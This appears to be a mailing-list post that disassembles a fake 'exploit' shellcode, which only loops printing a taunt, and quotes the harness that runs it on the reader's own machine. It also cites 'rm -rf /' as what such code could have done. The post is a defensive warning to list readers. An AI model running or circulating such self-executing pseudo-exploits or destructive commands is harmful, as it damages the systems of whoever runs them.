Let's analyze this payload:

31 DB             xorl  %ebx, %ebx
C0                xorl  %eax, %eax
31 D2             xorl  %edx, %edx
B2 18             movb  %dl,$0x18
68 20 3F 21 0A    pushl $0x0A213F20
68 54 52 31 58    pushl $0x58315254
68 65 20 4D 34    pushl $0x344D2065
68 73 20 54 68    pushl $0x68542073
68 61 74 20 69    pushl $0x69207461
68 2D 2D 57 68    pushl $0x68572D2D
89 E1             movl  %ecx, %esp
B0 04             movb  %al, $0x04
CD 80             int   $0x80

sys_write(stdin, "--What is The M4TR1X ?!\n", 24);

B8 02 00 00 00    movl  %eax, $0x00000002
CD 80             int   $0x80

sys_write(stderr, "--What is The M4TR1X ?!\n", 24);

EB F7             jmp   +2

As you can see, the only relevant bytes of the code are the first 52.  The
code below it fails to work, so simply replacing the "\xeb\xf7" with
"\x90\x90" will cause the exploit to crash the target with a SIGSEGV.

Let's look at this memory allocation routine -- how funny.

[snip]
    buffer = (char *) malloc(512 + 1024 + 100);
    if (buffer == NULL) {
        printf("Not enough memory\n");
        exit(1);
    }
    memcpy(&buffer[512 - strlen(shellcode)], shellcode,
           strlen(shellcode));
    buffer[512 + 1024] = ';';
    buffer[512 + 1024 + 1] = '\0';
    void(*b)()=(void*)shellcode;b();
[huge snip]

It malloc's things oddly -- 512+1024+100 -- appearantly, our exploit
authors couldn't do basic addition.  512+1024+100 = 1636.  What's funnier,
is that the shellcode is placed into the middle of the buffer, so if the
shellcode ever gets sent, memory data is leaked to the target.  Secondly is
of course the fact that the shellcode is launched by the last line here.
It is an infinitively looped payload that prints out "--What is The M4TR1X
?!" until the program is killed by a CTRL+C or a 'kill' command from
another console.

I'd like to add that "koec () hushmail com" is in violation of the list
charter, namely the section that states the following:

"Attachments may be included if relevant or necessary (e.g. PGP or S/MIME
signatures, proof-of-concept code, etc) but must not be active (in the case
of a worm, for example) or malicious to the recipient."

While the code being distributed was not technically an "attachment", it
was malicious to the recipient, as it was designed to waste CPU cycles on
an infinite loop, and served no other purpose.  I'd also like to add that
list readers really should pay attention to the section of the charter that
states:

"Members are reminded that due to the open nature of the list, they should
use discretion in executing any tools or code distributed via this list."

Had KOEC intended to cause serious damage, that shellcode could have been
written to execute:

rm -rf /

it is advised that users at least drop the privileges of suspect code with
'su' -- never run suspect files as highly-privileged users.